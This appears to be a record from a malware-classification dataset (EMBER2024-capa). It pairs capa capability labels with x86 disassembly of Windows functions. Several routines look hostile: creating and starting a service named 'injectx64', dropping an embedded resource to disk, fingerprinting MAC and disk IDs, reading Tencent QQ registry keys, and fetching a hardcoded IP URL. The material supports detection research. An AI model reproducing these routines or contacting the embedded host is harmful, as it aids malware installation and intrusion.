joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419509
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov al, byte [ebp + 0x18]
sub esp, 0x10
push ebx
push esi
push edi
push 0
push dword [ebp + 0xc]
mov esi, ecx
mov byte [esi + 0x21], al
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp + 8]
mov ecx, esi
call fcn.004194a2
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ebx, dword [sym.imp.USER32.dll_GetParent]
push 2
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
call ebx
push eax
push 0
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov eax, dword [esi + 4]
test eax, eax
je 0x419570
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 8]
push esi
push dword [esi]
sub edi, eax
push 0
push dword [ebp + 0xc]
lea ecx, [eax + 1]
dec edi
mov dword [ebp + 0x18], ecx
dec edi
call ebx
push eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
push eax
push edi
push dword [ebp - 0xc]
xor edi, edi
push dword [ebp + 0x18]
push 0x40000000
push edi
push str.RarHtmlClassName
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [esi + 4], eax
cmp dword [esi + 0xc], edi
jne 0x4195f2
cmp dword [ebp + 0xc], edi
je 0x419615
cmp dword [esi + 0x14], edi
jne 0x419615
mov eax, dword [esi + 0x10]
cmp eax, edi
je 0x419615
push eax
mov ecx, esi
call fcn.0041917d
mov esi, eax
cmp esi, edi
je 0x419615
push 5
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push esi
call fcn.00419c1e
pop ecx
jmp 0x419615
cmp eax, edi
je 0x419608
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp dword [esi + 0x1c], 0x64
jbe 0x419615
mov ecx, esi
call fcn.00418e87
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x41961c
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 0x4280d8
push 1
xor ebx, ebx
push ebx
push 0x428188
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x4196ed
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x428178
push eax
call dword [ecx]
test eax, eax
jl 0x4196e4
cmp byte [ebp + 8], bl
je 0x41966f
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 2
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
cmp dword [ebp + 0x18], ebx
je 0x41968c
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ebx
cmp dword [ebp + 0x1c], ebx
jne 0x41969e
push 0x427554
jmp 0x4196a1
push dword [ebp + 0x1c]
push eax
call dword [ecx + 0x44]
cmp dword [ebp + 0x20], ebx
je 0x4196b6
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x2c]
cmp dword [ebp + 0x14], ebx
je 0x4196c7
mov eax, dword [ebp - 4]
push dword [ebp + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x18]
test eax, eax
jl 0x4196db
mov bl, 1
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov al, bl
pop ebx
leave
ret 0x1c

Function at 0x419707
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8

Function at 0x41debb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42c2a0]
jne 0x41dec5
repz ret
jmp fcn.00422acb
Function at 0x424375
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041df3c
and dword [ebp - 4], 0
cmp dword [0x44c378], 0
mov ebx, eax
jne 0x424426
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4244d7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4244d7
push eax
call fcn.0041deca
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44c378], eax
call esi
push eax
call fcn.0041deca
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44c37c], eax
call esi
push eax
call fcn.0041deca
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44c380], eax
call esi
push eax
call fcn.0041deca
pop ecx
mov dword [0x44c388], eax
test eax, eax
je 0x424426
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041deca
pop ecx
mov dword [0x44c384], eax
mov eax, dword [0x44c384]
cmp eax, ebx
je 0x42447e
cmp dword [0x44c388], ebx
je 0x42447e
push eax
call fcn.0041df45
push dword [0x44c388]
mov esi, eax
call fcn.0041df45
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42447e
test edi, edi
je 0x42447e
call esi
test eax, eax
je 0x424475
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x424475
test byte [ebp - 0xc], 1
jne 0x42447e
or dword [ebp + 0x10], 0x200000
jmp 0x4244b7
mov eax, dword [0x44c37c]
cmp eax, ebx
je 0x4244b7
push eax
call fcn.0041df45
pop ecx
test eax, eax
je 0x4244b7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4244b7
mov eax, dword [0x44c380]
cmp eax, ebx
je 0x4244b7
push eax
call fcn.0041df45
pop ecx
test eax, eax
je 0x4244b7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44c378]
call fcn.0041df45
pop ecx
test eax, eax
je 0x4244d7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4244d9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401080
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00412a60
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 0x1010]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
push eax
push 0x20019
push esi
push 0x4157d0
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401169
push 0x1000
push eax
lea eax, [ebp - 0x1004]
mov dword [ebp - 0x1008], 3
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x100c], 0x400
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x1008]
push eax
push esi
push 0x4157c8
push dword [ebp - 0x1010]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401169
mov eax, dword [ebp - 0x100c]
push eax
mov dword [ebx], eax
call dword [sym.imp.mfc140u.dll_operator_1]
push dword [ebp - 0x100c]
mov esi, eax
push 0
push esi
call sub.VCRUNTIME140.dll_memset
push dword [ebp - 0x100c]
lea eax, [ebp - 0x1004]
push eax
push esi
call sub.VCRUNTIME140.dll_memcpy
push dword [ebp - 0x100c]
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
push esi
call dword [sym.imp.mfc140u.dll_operator_2]
add esp, 0x2c
mov esi, 1
push dword [ebp - 0x1010]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411c65
mov esp, ebp
pop ebp
ret

Function at 0x401190
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00412a60
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 0x1010]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
push eax
push 0x20019
push esi
push str.SOFTWARETencentQQGameSYS
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401279
push 0x1000
push eax
lea eax, [ebp - 0x1004]
mov dword [ebp - 0x1008], 3
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x100c], 0x400
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x1008]
push eax
push esi
push str.GameDirectory
push dword [ebp - 0x1010]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401279
mov eax, dword [ebp - 0x100c]
push eax
mov dword [ebx], eax
call dword [sym.imp.mfc140u.dll_operator_1]
push dword [ebp - 0x100c]
mov esi, eax
push 0
push esi
call sub.VCRUNTIME140.dll_memset
push dword [ebp - 0x100c]
lea eax, [ebp - 0x1004]
push eax
push esi
call sub.VCRUNTIME140.dll_memcpy
push dword [ebp - 0x100c]
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
push esi
call dword [sym.imp.mfc140u.dll_operator_2]
add esp, 0x2c
mov esi, 1
push dword [ebp - 0x1010]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411c65
mov esp, ebp
pop ebp
ret
Function at 0x405130
Capabilities:
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x20]
push 0x1c
push eax
push fcn.00405130
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
movzx eax, word [ebp + 0xc]
mov edi, dword [ebp - 0x1c]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x4051c3
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, dword [ebp - 0x24]
mov edi, eax
push esi
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
push 0x41583c
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4051c2
push esi
push ebx
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00411c65
mov esp, ebp
pop ebp
ret
Function at 0x405a00
Capabilities:
Create service
Delete service
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xf003f
xor ebx, ebx
xor esi, esi
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x405a6d
cmp dword [ebp + 8], ebx
je 0x405a80
push 0xf01ff
push str.injectx64
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x405a80
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7b
je 0x405a80
cmp eax, 0x424
je 0x405a80
push esi
push esi
push str.OpenService
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411c65
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
cmp eax, 3
ja case.default.0x405a8c
jmp dword [eax*4 + 0x405b44]
push 0
push 0
push 0
push 0
push 0
push 0x41c4b0
push 1
push 3
push 1
push 0xf01ff
push str.injectx64
push str.injectx64
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
jne 0x405b15
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0x431
sete bl
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411c65
mov esp, ebp
pop ebp
ret
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x405b0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x405b40
mov ebx, 1
test esi, esi
je 0x405ad4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
jmp 0x405ada
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
jmp 0x405b36
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x405b0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
jmp case.default.0x405a8c
Function at 0x405b20
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xf003f
xor ebx, ebx
xor esi, esi
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x405a6d
cmp dword [ebp + 8], ebx
je 0x405a80
push 0xf01ff
push str.injectx64
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x405a80
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7b
je 0x405a80
cmp eax, 0x424
je 0x405a80
push esi
push esi
push str.OpenService
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411c65
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
cmp eax, 3
ja case.default.0x405a8c
jmp dword [eax*4 + 0x405b44]
push 0
push 0
push 0
push 0
push 0
push 0x41c4b0
push 1
push 3
push 1
push 0xf01ff
push str.injectx64
push str.injectx64
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
jne 0x405b15
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0x431
sete bl
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411c65
mov esp, ebp
pop ebp
ret
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x405b0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x405b40
mov ebx, 1
test esi, esi
je 0x405ad4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
jmp 0x405ada
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
jmp 0x405b36
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x405b0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
jmp case.default.0x405a8c
Function at 0x406450
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
mov esi, ecx
xor ecx, ecx
nop
mov eax, ecx
shr eax, 1
test cl, 1
je 0x40646e
xor eax, 0xedb88320
test al, 1
je 0x40647b
shr eax, 1
xor eax, 0xedb88320
jmp 0x40647d
shr eax, 1
test al, 1
je 0x40648a
shr eax, 1
xor eax, 0xedb88320
jmp 0x40648c
shr eax, 1
test al, 1
je 0x406499
shr eax, 1
xor eax, 0xedb88320
jmp 0x40649b
shr eax, 1
test al, 1
je 0x4064a8
shr eax, 1
xor eax, 0xedb88320
jmp 0x4064aa
shr eax, 1
test al, 1
je 0x4064b7
shr eax, 1
xor eax, 0xedb88320
jmp 0x4064b9
shr eax, 1
test al, 1
je 0x4064c6
shr eax, 1
xor eax, 0xedb88320
jmp 0x4064c8
shr eax, 1
test al, 1
je 0x4064d5
shr eax, 1
xor eax, 0xedb88320
jmp 0x4064d7
shr eax, 1
mov dword [ebp + ecx*4 - 0x400], eax
inc ecx
cmp ecx, 0x100
jb 0x406460
or ecx, 0xffffffff
test edx, edx
je 0x40650c
movzx eax, byte [esi]
lea esi, [esi + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [ebp + eax*4 - 0x400]
sub edx, 1
jne 0x4064f2
not ecx
mov eax, ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x406520
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push edi
push 0x288
mov dword [ebp - 8], 0x288
call esi
mov edi, eax
add esp, 4
test edi, edi
jne 0x406564
pop edi
mov eax, str.Null
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411c65
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea eax, [ebp - 8]
push eax
push edi
call ebx
cmp eax, 0x6f
jne 0x40658c
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push dword [ebp - 8]
call esi
mov edi, eax
add esp, 8
test edi, edi
je 0x4065e0
lea eax, [ebp - 8]
push eax
push edi
call ebx
test eax, eax
jne 0x4065d2
mov esi, edi
test edi, edi
je 0x4065e0
nop dword [eax]
lea ebx, [esi + 0x10c]
push str.Intel
push ebx
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
jne 0x4065f6
push str.Realtek
push ebx
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
jne 0x4065f6
mov esi, dword [esi]
test esi, esi
jne 0x4065a0
test edi, edi
je 0x4065e0
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
pop ebx
pop edi
mov eax, str.Null
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411c65
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x190]
lea ecx, [esi + 0x194]
call fcn.004063f0
mov ecx, dword [ebp - 4]
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.00411c65
mov esp, ebp
pop ebp
ret
Function at 0x406880
Capabilities:
Get disk information
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1f4
mov eax, dword [0x41b014]
xor eax, esp
mov dword [esp + 0x1f0], eax
push esi
push 0x80
lea eax, [esp + 0x174]
mov esi, ecx
push eax
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0x80
push 0x41e8e8
push 0x415c80
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
call fcn.00406520
push eax
push dword [esp + 8]
call fcn.00406620
push eax
lea eax, [esp + 0x7c]
push str._d_d_s
push eax
call fcn.0040fe50
add esp, 0x14
test esi, esi
jne 0x406968
lea ecx, [esp + 0x70]
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], esi
lea edx, [ecx + 1]
mov dword [esp + 8], 0x67452301
mov dword [esp + 0xc], 0xefcdab89
mov dword [esp + 0x10], 0x98badcfe
mov dword [esp + 0x14], 0x10325476
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406920
sub ecx, edx
lea edx, [esp + 0x70]
push ecx
lea ecx, [esp + 0xc]
call fcn.00404170
add esp, 4
lea edx, [esp + 8]
lea ecx, [esp + 0x60]
call fcn.00404240
mov edx, 0x10
lea ecx, [esp + 0x60]
call fcn.004063f0
pop esi
mov ecx, dword [esp + 0x1f0]
xor ecx, esp
call fcn.00411c65
mov esp, ebp
pop ebp
ret
push 0x80
push 0
push 0x41e8e8
call sub.VCRUNTIME140.dll_memset
lea edx, [esp + 0x7c]
add esp, 0xc
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x406983
sub edx, ecx
lea ecx, [esp + 0x70]
call fcn.00406450
push eax
push 0x415c8c
push 0x41e8e8
call fcn.0040fe70
mov ecx, dword [esp + 0x200]
add esp, 0xc
mov eax, 0x41e8e8
pop esi
xor ecx, esp
call fcn.00411c65
mov esp, ebp
pop ebp
ret
Function at 0x406af0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4132f8
mov eax, dword fs:[0]
push eax
sub esp, 0x410
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
push edi
push edi
push edi
push edi
push str.UrlTest
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
test ebx, ebx
je 0x406beb
push edi
push 0x4000000
push edi
push edi
push str.http:__27.25.156.102:9999_style.html
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x406be4
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
nop dword [eax]
lea eax, [ebp - 0x418]
push eax
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push esi
call edi
cmp dword [ebp - 0x418], 0
jne 0x406b60
lea ecx, [ebp - 0x414]
call dword [sym.imp.mfc140u.dll_Ordinal_296]
lea eax, [ebp - 0x410]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x41c]
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__8]
mov byte [ebp - 4], 1
push dword [eax]
lea eax, [ebp - 0x414]
push 0x414f84
push eax
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__7]
add esp, 0xc
lea ecx, [ebp - 0x41c]
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x414]
mov edi, 1
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00411c65
mov esp, ebp
pop ebp
ret
Function at 0x406c10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00412a60
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x1010]
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
push eax
push 0x20019
push esi
push str.SoftwareTencentQQ
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406cf9
push 0x1000
push eax
lea eax, [ebp - 0x1004]
mov dword [ebp - 0x1008], 3
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x100c], 0x400
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x1008]
push eax
push esi
push 0x4157c8
push dword [ebp - 0x1010]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406cf9
mov eax, dword [ebp - 0x100c]
push eax
mov dword [ebx], eax
call dword [sym.imp.mfc140u.dll_operator_1]
push dword [ebp - 0x100c]
mov esi, eax
push 0
push esi
call sub.VCRUNTIME140.dll_memset
push dword [ebp - 0x100c]
lea eax, [ebp - 0x1004]
push eax
push esi
call sub.VCRUNTIME140.dll_memcpy
push dword [ebp - 0x100c]
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
push esi
call dword [sym.imp.mfc140u.dll_operator_2]
add esp, 0x2c
mov esi, 1
push dword [ebp - 0x1010]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411c65
mov esp, ebp
pop ebp
ret